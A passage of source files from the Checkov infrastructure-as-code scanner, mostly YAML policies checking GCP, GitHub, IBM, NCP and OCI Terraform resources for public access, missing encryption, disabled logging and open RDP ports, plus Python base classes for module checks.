scheme" category: "NETWORKING" definition: or: - and: - cond_type: attribute attribute: target operator: not_contains value: "google_compute_region_target_http_proxy" resource_types: - google_compute_forwarding_rule - cond_type: attribute attribute: target operator: not_contains value: "targetHttpProxies" resource_types: - google_compute_forwarding_rule - and: - cond_type: attribute attribute: load_balancing_scheme operator: not_equals_ignore_case value: "EXTERNAL" resource_types: - google_compute_forwarding_rule - cond_type: attribute attribute: load_balancing_scheme operator: exists resource_types: - google_compute_forwarding_rule ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml ================================================ metadata: id: "CKV2_GCP_9" name: "Ensure that Container Registry repositories are not anonymously or publicly accessible" category: "GENERAL_SECURITY" definition: and: - cond_type: filter attribute: resource_type value: - google_container_registry operator: within - or: - cond_type: connection operator: not_exists resource_types: - google_container_registry connected_resource_types: - google_storage_bucket_iam_member - and: - cond_type: connection operator: exists resource_types: - google_container_registry connected_resource_types: - google_storage_bucket_iam_member - cond_type: attribute attribute: member operator: not_equals value: "allAuthenticatedUsers" resource_types: - google_storage_bucket_iam_member - cond_type: attribute attribute: member operator: not_equals value: "allUsers" resource_types: - google_storage_bucket_iam_member - or: - cond_type: connection operator: not_exists resource_types: - google_container_registry connected_resource_types: - google_storage_bucket_iam_binding - and: - cond_type: connection operator: exists resource_types: - google_container_registry connected_resource_types: - google_storage_bucket_iam_binding - cond_type: attribute attribute: members operator: not_contains value: "allAuthenticatedUsers" resource_types: - google_storage_bucket_iam_binding - cond_type: attribute attribute: members operator: not_contains value: "allUsers" resource_types: - google_storage_bucket_iam_binding ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowAgentLoggingEnabled.yaml ================================================ metadata: id: "CKV2_GCP_29" name: "Ensure logging is enabled for Dialogflow agents" category: "LOGGING" definition: cond_type: attribute resource_types: - google_dialogflow_agent attribute: enable_logging operator: equals value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowCxAgentLoggingEnabled.yaml ================================================ metadata: id: "CKV2_GCP_30" name: "Ensure logging is enabled for Dialogflow CX agents" category: "LOGGING" definition: cond_type: attribute resource_types: - google_dialogflow_cx_agent attribute: enable_stackdriver_logging operator: equals value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPDialogFlowCxWebhookLoggingEnabled.yaml ================================================ metadata: id: "CKV2_GCP_31" name: "Ensure logging is enabled for Dialogflow CX webhooks" category: "LOGGING" definition: cond_type: attribute resource_types: - google_dialogflow_cx_webhook attribute: enable_stackdriver_logging operator: equals value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPDocumentAIProcessorEncryptedWithCMK.yaml ================================================ metadata: id: "CKV2_GCP_22" name: "Ensure Document AI Processors are encrypted with a Customer Managed Key (CMK)" category: "ENCRYPTION" scope: provider: "GCP" definition: resource_types: - google_document_ai_processor operator: exists attribute: kms_key_name cond_type: attribute ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPDocumentAIWarehouseLocationEncryptedWithCMK.yaml ================================================ metadata: id: "CKV2_GCP_23" name: "Ensure Document AI Warehouse Location is configured to use a Customer Managed Key (CMK)" category: "ENCRYPTION" scope: provider: "GCP" definition: resource_types: - google_document_ai_warehouse_location operator: exists attribute: kms_key cond_type: attribute ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml ================================================ metadata: id: "CKV2_GCP_6" name: "Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible" category: "ENCRYPTION" definition: and: - cond_type: filter attribute: resource_type value: - google_kms_crypto_key operator: within - and: - or: - cond_type: connection operator: not_exists resource_types: - google_kms_crypto_key connected_resource_types: - google_kms_crypto_key_iam_member - and: - cond_type: connection operator: exists resource_types: - google_kms_crypto_key connected_resource_types: - google_kms_crypto_key_iam_member - cond_type: attribute attribute: member operator: not_equals value: "allAuthenticatedUsers" resource_types: - google_kms_crypto_key_iam_member - cond_type: attribute attribute: member operator: not_equals value: "allUsers" resource_types: - google_kms_crypto_key_iam_member - or: - cond_type: connection operator: not_exists resource_types: - google_kms_crypto_key connected_resource_types: - google_kms_crypto_key_iam_binding - and: - cond_type: connection operator: exists resource_types: - google_kms_crypto_key connected_resource_types: - google_kms_crypto_key_iam_binding - cond_type: attribute attribute: members operator: not_contains value: "allAuthenticatedUsers" resource_types: - google_kms_crypto_key_iam_binding - cond_type: attribute attribute: members operator: not_contains value: "allUsers" resource_types: - google_kms_crypto_key_iam_binding ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml ================================================ metadata: id: "CKV2_GCP_8" name: "Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible" category: "ENCRYPTION" definition: and: - cond_type: filter attribute: resource_type value: - google_kms_key_ring operator: within - or: - cond_type: connection operator: not_exists resource_types: - google_kms_key_ring connected_resource_types: - google_kms_key_ring_iam_member - and: - cond_type: connection operator: exists resource_types: - google_kms_key_ring connected_resource_types: - google_kms_key_ring_iam_member - cond_type: attribute attribute: member operator: not_equals value: "allAuthenticatedUsers" resource_types: - google_kms_key_ring_iam_member - cond_type: attribute attribute: member operator: not_equals value: "allUsers" resource_types: - google_kms_key_ring_iam_member - or: - cond_type: connection operator: not_exists resource_types: - google_kms_key_ring connected_resource_types: - google_kms_key_ring_iam_binding - and: - cond_type: connection operator: exists resource_types: - google_kms_key_ring connected_resource_types: - google_kms_key_ring_iam_binding - cond_type: attribute attribute: members operator: not_contains value: "allAuthenticatedUsers" resource_types: - google_kms_key_ring_iam_binding - cond_type: attribute attribute: members operator: not_contains value: "allUsers" resource_types: - google_kms_key_ring_iam_binding ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml ================================================ metadata: id: "CKV2_GCP_4" name: "Ensure that retention policies on log buckets are configured using Bucket Lock" category: "LOGGING" definition: and: - cond_type: filter attribute: resource_type value: - google_logging_organization_sink - google_logging_folder_sink - google_logging_project_sink operator: within - or: - cond_type: connection operator: not_exists resource_types: - google_logging_organization_sink - google_logging_project_sink - google_logging_folder_sink connected_resource_types: - google_storage_bucket - and: - cond_type: connection operator: exists resource_types: - google_logging_organization_sink - google_logging_project_sink - google_logging_folder_sink connected_resource_types: - google_storage_bucket - cond_type: attribute attribute: "retention_policy.is_locked" value: true operator: equals resource_types: - google_storage_bucket ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled.yaml ================================================ metadata: id: "CKV2_GCP_20" name: "Ensure MySQL DB instance has point-in-time recovery backup configured" category: "BACKUP_AND_RECOVERY" definition: or: - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "master_instance_name" operator: "exists" - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "database_version" operator: "not_contains" value: "MYSQL" - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "settings.backup_configuration.binary_log_enabled" operator: "equals_ignore_case" value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPNetworkDoesNotUseDefaultFirewall.yaml ================================================ metadata: id: "CKV2_GCP_18" name: "Ensure GCP network defines a firewall and does not use the default firewall" category: "NETWORKING" definition: and: - cond_type: filter value: - google_compute_network operator: within attribute: resource_type - cond_type: connection operator: exists resource_types: - google_compute_network connected_resource_types: - google_compute_firewall ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_durationIsSetToON.yaml ================================================ metadata: name: "Ensure PostgreSQL database flag 'log_duration' is set to 'on'" id: "CKV2_GCP_13" category: "LOGGING" definition: or: - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "database_version" operator: "not_contains" value: "POSTGRES" - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "settings.database_flags[?(@.name == log_duration & @.value == on)]" operator: "jsonpath_exists" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF.yaml ================================================ metadata: name: "Ensure PostgreSQL database flag 'log_executor_stats' is set to 'off'" id: "CKV2_GCP_14" category: "LOGGING" definition: or: - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "database_version" operator: "not_contains" value: "POSTGRES" - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "settings.database_flags[*]" operator: "jsonpath_not_exists" - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "settings.database_flags[?(@.name == log_executor_stats & @.value == on)]" operator: "jsonpath_not_exists" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF.yaml ================================================ metadata: name: "Ensure PostgreSQL database flag 'log_parser_stats' is set to 'off'" id: "CKV2_GCP_15" category: "LOGGING" definition: or: - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "database_version" operator: "not_contains" value: "POSTGRES" - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "settings.database_flags[*]" operator: "jsonpath_not_exists" - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "settings.database_flags[?(@.name == log_parser_stats & @.value == on)]" operator: "jsonpath_not_exists" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF.yaml ================================================ metadata: name: "Ensure PostgreSQL database flag 'log_planner_stats' is set to 'off'" id: "CKV2_GCP_16" category: "LOGGING" definition: or: - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "database_version" operator: "not_contains" value: "POSTGRES" - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "settings.database_flags[*]" operator: "jsonpath_not_exists" - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "settings.database_flags[?(@.name == log_planner_stats & @.value == on)]" operator: "jsonpath_not_exists" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF.yaml ================================================ metadata: name: "Ensure PostgreSQL database flag 'log_statement_stats' is set to 'off'" id: "CKV2_GCP_17" category: "LOGGING" definition: or: - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "database_version" operator: "not_contains" value: "POSTGRES" - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "settings.database_flags[*]" operator: "jsonpath_not_exists" - cond_type: "attribute" resource_types: - "google_sql_database_instance" attribute: "settings.database_flags[?(@.name == log_statement_stats & @.value == on)]" operator: "jsonpath_not_exists" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPProjectHasNoLegacyNetworks.yaml ================================================ metadata: id: "CKV2_GCP_2" name: "Ensure legacy networks do not exist for a project" category: "Networking" definition: and: - cond_type: filter attribute: resource_type value: - google_project operator: within - or: - resource_types: - google_compute_network connected_resource_types: - google_project operator: not_exists attribute: project_id cond_type: connection - and: - resource_types: - google_compute_network connected_resource_types: - google_project operator: exists attribute: project_id cond_type: connection - or: - resource_types: - google_compute_network operator: not_exists attribute: auto_create_subnetworks cond_type: attribute - resource_types: - google_compute_network operator: equals value: false attribute: auto_create_subnetworks cond_type: attribute ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPTpuV2VmPrivateEndpoint.yaml ================================================ metadata: id: "CKV2_GCP_32" name: "Ensure TPU v2 is private" category: "NETWORKING" definition: cond_type: attribute resource_types: - google_tpu_v2_vm attribute: network_config.enable_external_ips operator: jsonpath_equals value: "false" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPVertexAIEndpointEncryptedWithCMK.yaml ================================================ metadata: id: "CKV2_GCP_24" name: "Ensure Vertex AI endpoint uses a Customer Managed Key (CMK)" category: "ENCRYPTION" scope: provider: "GCP" definition: resource_types: - google_vertex_ai_endpoint operator: exists attribute: encryption_spec cond_type: attribute ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPVertexAIFeaturestoreEncryptedWithCMK.yaml ================================================ metadata: id: "CKV2_GCP_25" name: "Ensure Vertex AI featurestore uses a Customer Managed Key (CMK)" category: "ENCRYPTION" scope: provider: "GCP" definition: resource_types: - google_vertex_ai_featurestore operator: exists attribute: encryption_spec cond_type: attribute ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPVertexAIPrivateEndpoint.yaml ================================================ metadata: id: "CKV2_GCP_33" name: "Ensure Vertex AI endpoint is private" category: "NETWORKING" definition: cond_type: attribute resource_types: - google_vertex_ai_endpoint attribute: network operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPVertexAIPrivateIndexEndpoint.yaml ================================================ metadata: id: "CKV2_GCP_34" name: "Ensure Vertex AI index endpoint is private" category: "NETWORKING" definition: cond_type: attribute resource_types: - google_vertex_ai_index_endpoint attribute: public_endpoint_enabled operator: not_equals value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPVertexAITensorboardEncryptedWithCMK.yaml ================================================ metadata: id: "CKV2_GCP_26" name: "Ensure Vertex AI tensorboard uses a Customer Managed Key (CMK)" category: "ENCRYPTION" scope: provider: "GCP" definition: resource_types: - google_vertex_ai_tensorboard operator: exists attribute: encryption_spec cond_type: attribute ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPVertexInstanceEncryptedWithCMK.yaml ================================================ metadata: id: "CKV2_GCP_21" name: "Ensure Vertex AI instance disks are encrypted with a Customer Managed Key (CMK)" category: "ENCRYPTION" scope: provider: "GCP" definition: and: - resource_types: - google_notebooks_instance operator: exists attribute: kms_key cond_type: attribute - resource_types: - google_notebooks_instance operator: equals value: CMEK attribute: disk_encryption cond_type: attribute ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPVertexRuntimeEncryptedWithCMK.yaml ================================================ metadata: id: "CKV2_GCP_35" name: "Ensure Vertex AI runtime is encrypted with a Customer Managed Key (CMK)" category: "ENCRYPTION" definition: cond_type: attribute resource_types: - google_notebooks_runtime attribute: virtual_machine.virtual_machine_config.encryption_config.kms_key operator: jsonpath_exists ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPVertexRuntimePrivate.yaml ================================================ metadata: id: "CKV2_GCP_36" name: "Ensure Vertex AI runtime is private" category: "NETWORKING" definition: cond_type: attribute resource_types: - google_notebooks_runtime attribute: virtual_machine.virtual_machine_config.internal_ip_only operator: jsonpath_equals value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPVertexWorkbenchInstanceEncryptedWithCMK.yaml ================================================ metadata: id: "CKV2_GCP_27" name: "Ensure Vertex AI workbench instance disks are encrypted with a Customer Managed Key (CMK)" category: "ENCRYPTION" scope: provider: "GCP" definition: and: - cond_type: attribute resource_types: - google_workbench_instance attribute: "gce_setup.boot_disk.kms_key" operator: jsonpath_exists - or: - cond_type: attribute resource_types: - google_workbench_instance attribute: "gce_setup.data_disks" operator: jsonpath_not_exists - cond_type: attribute resource_types: - google_workbench_instance attribute: "gce_setup.data_disks.kms_key" operator: jsonpath_exists ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPVertexWorkbenchInstanceNoPublicIp.yaml ================================================ metadata: id: "CKV2_GCP_28" name: "Ensure Vertex AI workbench instances are private" category: "GENERAL_SECURITY" scope: provider: "GCP" definition: cond_type: attribute resource_types: - google_workbench_instance attribute: "gce_setup.disable_public_ip" operator: jsonpath_equals value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCPdisableAlphaClusterFeatureInKubernetesEngineClusters.yaml ================================================ metadata: id: "CKV2_GCP_19" name: "Ensure GCP Kubernetes engine clusters have 'alpha cluster' feature disabled" category: "KUBERNETES" definition: cond_type: attribute resource_types: "google_container_cluster" attribute: "enable_kubernetes_alpha" operator: "not_equals_ignore_case" value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GCRContainerVulnerabilityScanningEnabled.yaml ================================================ metadata: id: "CKV2_GCP_11" name: "Ensure GCP GCR Container Vulnerability Scanning is enabled" category: "GENERAL_SECURITY" definition: cond_type: "attribute" resource_types: - "google_project_services" attribute: "services" operator: "contains" value: "containerscanning.googleapis.com" ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/GKEClustersAreNotUsingDefaultServiceAccount.yaml ================================================ metadata: id: "CKV2_GCP_1" name: "Ensure GKE clusters are not running using the Compute Engine default service account " category: "NETWORKING" definition: and: - resource_types: - google_project_default_service_accounts connected_resource_types: - google_container_node_pool operator: not_exists cond_type: connection - resource_types: - google_project_default_service_accounts connected_resource_types: - google_container_cluster operator: not_exists cond_type: connection - cond_type: filter attribute: resource_type value: - google_project_default_service_accounts operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/gcp/ServiceAccountHasGCPmanagedKey.yaml ================================================ metadata: id: "CKV2_GCP_3" name: "Ensure that there are only GCP-managed service account keys for each service account" category: "ENCRYPTION" scope: provider: "GCP" definition: and: - resource_types: - google_service_account_key operator: not_exists attribute: public_key_data cond_type: attribute ================================================ FILE: checkov/terraform/checks/graph_checks/github/RepositoryHasBranchProtection.yaml ================================================ metadata: name: "Ensure each Repository has branch protection associated" category: "GENERAL_SECURITY" id: "CKV2_GIT_1" scope: provider: "GITHUB" definition: and: - resource_types: - github_repository connected_resource_types: - github_branch_protection - github_branch_protection_v3 - github_repository_ruleset operator: exists cond_type: connection - cond_type: filter attribute: resource_type value: - github_repository operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/ibm/IBM_EnableMFAatAccountLevel.yaml ================================================ metadata: id: "CKV2_IBM_4" name: "Ensure Multi-Factor Authentication (MFA) is enabled at the account level" category: "IAM" definition: and: - cond_type: "attribute" resource_types: "ibm_iam_account_settings" attribute: "mfa" operator: "exists" - cond_type: "attribute" resource_types: "ibm_iam_account_settings" attribute: "mfa" operator: "not_equals_ignore_case" value: "None" ================================================ FILE: checkov/terraform/checks/graph_checks/ibm/IBM_K8sClustersAccessibleViaPrivateEndPt.yaml ================================================ metadata: id: "CKV2_IBM_7" name: "Ensure Kubernetes clusters are accessible by using private endpoint and NOT public endpoint" category: "NETWORKING" definition: and: - cond_type: "attribute" resource_types: "ibm_container_cluster" attribute: "private_service_endpoint" operator: "exists" - cond_type: "attribute" resource_types: "ibm_container_cluster" attribute: "private_service_endpoint" operator: "equals_ignore_case" value: "True" - or: - cond_type: "attribute" resource_types: "ibm_container_cluster" attribute: "public_service_endpoint" operator: "not_exists" - cond_type: "attribute" resource_types: "ibm_container_cluster" attribute: "public_service_endpoint" operator: "not_equals_ignore_case" value: "True" ================================================ FILE: checkov/terraform/checks/graph_checks/ibm/IBM_LoadBalancerforVPCisPrivate.yaml ================================================ metadata: id: "CKV2_IBM_1" name: "Ensure load balancer for VPC is private (disable public access)" category: "GENERAL_SECURITY" definition: and: - cond_type: "attribute" resource_types: "ibm_is_lb" attribute: "type" operator: "exists" - or: - cond_type: "attribute" resource_types: "ibm_is_lb" attribute: "type" operator: "equals_ignore_case" value: "private" - cond_type: "attribute" resource_types: "ibm_is_lb" attribute: "type" operator: "equals_ignore_case" value: "private_path" ================================================ FILE: checkov/terraform/checks/graph_checks/ibm/IBM_RestrictAPIkeyCreationInAccountSettings.yaml ================================================ metadata: id: "CKV2_IBM_3" name: "Ensure API key creation is restricted in account settings" category: "IAM" definition: and: - cond_type: "attribute" resource_types: "ibm_iam_account_settings" attribute: "restrict_create_platform_apikey" operator: "exists" - cond_type: "attribute" resource_types: "ibm_iam_account_settings" attribute: "restrict_create_platform_apikey" operator: "equals_ignore_case" value: "RESTRICTED" ================================================ FILE: checkov/terraform/checks/graph_checks/ibm/IBM_RestrictServiceIDCreationInAccountSettings.yaml ================================================ metadata: id: "CKV2_IBM_5" name: "Ensure Service ID creation is restricted in account settings" category: "IAM" definition: and: - cond_type: "attribute" resource_types: "ibm_iam_account_settings" attribute: "restrict_create_service_id" operator: "exists" - cond_type: "attribute" resource_types: "ibm_iam_account_settings" attribute: "restrict_create_service_id" operator: "equals_ignore_case" value: "RESTRICTED" ================================================ FILE: checkov/terraform/checks/graph_checks/ibm/IBM_VPCclassicAccessIsDisabled.yaml ================================================ metadata: id: "CKV2_IBM_2" name: "Ensure VPC classic access is disabled" category: "GENERAL_SECURITY" definition: or: - cond_type: "attribute" resource_types: "ibm_is_vpc" attribute: "classic_access" operator: "not_exists" - and: - cond_type: "attribute" resource_types: "ibm_is_vpc" attribute: "classic_access" operator: "exists" - cond_type: "attribute" resource_types: "ibm_is_vpc" attribute: "classic_access" operator: "equals_ignore_case" value: "false" ================================================ FILE: checkov/terraform/checks/graph_checks/ncp/AccessControlGroupRuleDefine.yaml ================================================ metadata: id: "CKV_NCP_26" name: "Ensure Access Control Group has Access Control Group Rule attached" category: "NETWORKING" definition: and: - cond_type: filter attribute: resource_type value: - ncloud_access_control_group operator: within - resource_types: - ncloud_access_control_group connected_resource_types: - ncloud_access_control_group_rule operator: exists cond_type: connection ================================================ FILE: checkov/terraform/checks/graph_checks/ncp/AutoScalingEnabledLB.yaml ================================================ metadata: id: "CKV_NCP_18" name: "Ensure that auto Scaling groups that are associated with a load balancer, are using Load Balancing health checks." category: "NETWORKING" definition: and: - cond_type: filter attribute: resource_type value: - ncloud_auto_scaling_group operator: within - or: - cond_type: attribute resource_types: - ncloud_auto_scaling_group attribute: health_check_type_code operator: equals value: "SVR" - and: - cond_type: attribute resource_types: - ncloud_auto_scaling_group attribute: health_check_type_code operator: equals value: "LOADB" - resource_types: - ncloud_lb_target_group connected_resource_types: - ncloud_auto_scaling_group operator: exists cond_type: connection - cond_type: attribute resource_types: - ncloud_lb_target_group attribute: health_check operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/ncp/RouteTablePublicSubnetConnection.yaml ================================================ metadata: id: "CKV_NCP_22" name: "Ensure a route table for the public subnets is created." category: "NETWORKING" definition: and: - cond_type: filter attribute: resource_type value: - ncloud_route_table_association operator: within - cond_type: attribute resource_types: - ncloud_subnet attribute: subnet_type operator: equals value: "PUBLIC" - resource_types: - ncloud_subnet connected_resource_types: - ncloud_route_table_association operator: exists cond_type: connection - resource_types: - ncloud_route_table connected_resource_types: - ncloud_route_table_association operator: exists cond_type: connection - cond_type: attribute resource_types: - ncloud_route_table attribute: supported_subnet_type operator: equals value: "PUBLIC" ================================================ FILE: checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml ================================================ metadata: id: "CKV2_OCI_1" name: "Ensure administrator users are not associated with API keys" category: "IAM" definition: or: - and: - resource_types: - oci_identity_group connected_resource_types: - oci_identity_user_group_membership operator: exists cond_type: connection - resource_types: - oci_identity_user_group_membership connected_resource_types: - oci_identity_user operator: exists cond_type: connection - cond_type: attribute attribute: name resource_types: - oci_identity_group operator: equals value: "Administrators" - resource_types: - oci_identity_user connected_resource_types: - oci_identity_api_key operator: not_exists cond_type: connection - and: - resource_types: - oci_identity_group connected_resource_types: - oci_identity_user_group_membership operator: exists cond_type: connection - resource_types: - oci_identity_user_group_membership connected_resource_types: - oci_identity_user operator: exists cond_type: connection - cond_type: attribute attribute: name resource_types: - oci_identity_group operator: not_equals value: "Administrators" - resource_types: - oci_identity_user_group_membership connected_resource_types: - oci_identity_user operator: not_exists cond_type: connection - cond_type: filter attribute: resource_type value: - oci_identity_user operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/oci/OCI_K8EngineClusterBootVolConfigInTransitEncryption.yaml ================================================ metadata: id: "CKV2_OCI_5" name: "Ensure Kubernetes Engine Cluster boot volume is configured with in-transit data encryption" category: "ENCRYPTION" definition: and: - cond_type: "attribute" resource_types: "oci_containerengine_node_pool" attribute: "node_config_details.is_pv_encryption_in_transit_enabled" operator: "exists" - cond_type: "attribute" resource_types: "oci_containerengine_node_pool" attribute: "node_config_details.is_pv_encryption_in_transit_enabled" operator: "equals_ignore_case" value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/oci/OCI_K8EngineClusterPodSecPolicyEnforced.yaml ================================================ metadata: id: "CKV2_OCI_6" name: "Ensure Kubernetes Engine Cluster pod security policy is enforced" category: "GENERAL_SECURITY" definition: and: - cond_type: "attribute" resource_types: "oci_containerengine_cluster" attribute: "options.admission_controller_options.is_pod_security_policy_enabled" operator: "exists" - cond_type: "attribute" resource_types: "oci_containerengine_cluster" attribute: "options.admission_controller_options.is_pod_security_policy_enabled" operator: "equals_ignore_case" value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/oci/OCI_KubernetesEngineClusterEndpointConfigWithNSG.yaml ================================================ metadata: id: "CKV2_OCI_3" name: "Ensure Kubernetes engine cluster is configured with NSG(s)" category: "NETWORKING" definition: and: - cond_type: "attribute" resource_types: "oci_containerengine_cluster" attribute: "endpoint_config.nsg_ids" operator: "exists" - cond_type: "attribute" resource_types: "oci_containerengine_cluster" attribute: "endpoint_config.nsg_ids" operator: "not_equals_ignore_case" value: "null" - cond_type: "attribute" resource_types: "oci_containerengine_cluster" attribute: "endpoint_config.nsg_ids" operator: "is_not_empty" - cond_type: "attribute" resource_types: "oci_containerengine_cluster" attribute: "endpoint_config.nsg_ids" operator: "number_of_words_not_equals" value: 0 ================================================ FILE: checkov/terraform/checks/graph_checks/oci/OCI_NFSaccessRestrictedToRootUsers.yaml ================================================ metadata: id: "CKV2_OCI_4" name: "Ensure File Storage File System access is restricted to root users" category: "GENERAL_SECURITY" definition: or: - cond_type: "attribute" resource_types: "oci_file_storage_export" attribute: "export_options[?(@.identity_squash =~ '(?i)^ROOT$')]" operator: "jsonpath_not_exists" - cond_type: "attribute" resource_types: "oci_file_storage_export" attribute: "export_options[?(@.identity_squash =~ '(?i)^ROOT$' & @.anonymous_gid == 65534 & @.anonymous_uid == 65534)]" operator: "jsonpath_exists" # REGEX explained: # ============================================================ # # =~ is an inline regular expression matching operator. # '(?i)' is a modifier that enables case-insensitive matching. # '^' is the start of the string. # 'root' matches the case-insensitive string "root". # '$'' is the end of the string. # Therefore, =~ '(?i)^root$' matches the case-insensitive string "root". ================================================ FILE: checkov/terraform/checks/graph_checks/oci/OCI_NSGNotAllowRDP.yaml ================================================ metadata: id: "CKV2_OCI_2" name: "Ensure NSG does not allow all traffic on RDP port (3389)" category: "NETWORKING" definition: or: - and: - cond_type: "attribute" resource_types: "oci_core_network_security_group_security_rule" attribute: "direction" operator: "equals_ignore_case" value: "INGRESS" - cond_type: "attribute" resource_types: "oci_core_network_security_group_security_rule" attribute: "source" operator: "not_equals" value: "0.0.0.0/0" - cond_type: "attribute" resource_types: "oci_core_network_security_group_security_rule" attribute: "protocol" operator: "not_equals_ignore_case" value: "all" - or: - cond_type: "attribute" resource_types: "oci_core_network_security_group_security_rule" attribute: "tcp_options" operator: "exists" - cond_type: "attribute" resource_types: "oci_core_network_security_group_security_rule" attribute: "udp_options" operator: "exists" - cond_type: "attribute" resource_types: "oci_core_network_security_group_security_rule" attribute: "protocol" operator: "not_equals" value: 1 - and: - cond_type: "attribute" resource_types: "oci_core_network_security_group_security_rule" attribute: "tcp_options.destination_port_range.min" operator: "not_equals" value: 3389 - or: - cond_type: "attribute" resource_types: "oci_core_network_security_group_security_rule" attribute: "tcp_options.destination_port_range.min" operator: "greater_than" value: 3389 - cond_type: "attribute" resource_types: "oci_core_network_security_group_security_rule" attribute: "tcp_options.destination_port_range.max" operator: "less_than" value: 3389 - and: - cond_type: "attribute" resource_types: "oci_core_network_security_group_security_rule" attribute: "udp_options.destination_port_range.min" operator: "not_equals" value: 3389 - or: - cond_type: "attribute" resource_types: "oci_core_network_security_group_security_rule" attribute: "udp_options.destination_port_range.min" operator: "greater_than" value: 3389 - cond_type: "attribute" resource_types: "oci_core_network_security_group_security_rule" attribute: "udp_options.destination_port_range.max" operator: "less_than" value: 3389 ================================================ FILE: checkov/terraform/checks/module/__init__.py ================================================ from checkov.terraform.checks.module.generic import * # noqa ================================================ FILE: checkov/terraform/checks/module/base_module_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import List, Dict, Any from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.module.registry import module_registry class BaseModuleCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_resources: Iterable[str] | None = None, guideline: str | None = None ) -> None: """ Base class for terraform module call related checks. :param name: an error message that is shown, when the check failed. :param id: the id of the check :param categories: categories of the check :param supported_resources: DEPRECATED the resources that this check applies to. This is deprecated because there is only one resource type that is valid for checks that extend this class. """ if supported_resources is None: supported_resources = ["module"] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type="module", guideline=guideline ) self.supported_resources = supported_resources module_registry.register(self) def scan_entity_conf(self, conf: Dict[str, List[Any]], entity_type: str) -> CheckResult: # entity_type is always 'module' return self.scan_module_conf(conf) @abstractmethod def scan_module_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: raise NotImplementedError() @staticmethod def is_git_source(source: str) -> bool: return source.startswith('git@') or source.startswith('git::') or source.startswith('github.com') or source.startswith('bitbucket.org') ================================================ FILE: checkov/terraform/checks/module/base_registry.py ================================================ from typing import Dict, Any, Tuple from checkov.common.checks.base_check_registry import BaseCheckRegistry class Registry(BaseCheckRegistry): def extract_entity_details(self, entity: Dict[str, Dict[str, Any]]) -> Tuple[str, str, Dict[str, Any]]: module_name, module_configuration = next(iter(entity.items())) return "module", module_name, module_configuration ================================================ FILE: checkov/terraform/checks/module/generic/RevisionHash.py ================================================ from __future__ import annotations import re from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.module.base_module_check import BaseModuleCheck COMMIT_ID_PATTERN = re.compile(r"\?(ref=)(?P([0-9a-f]{5,40}))") class 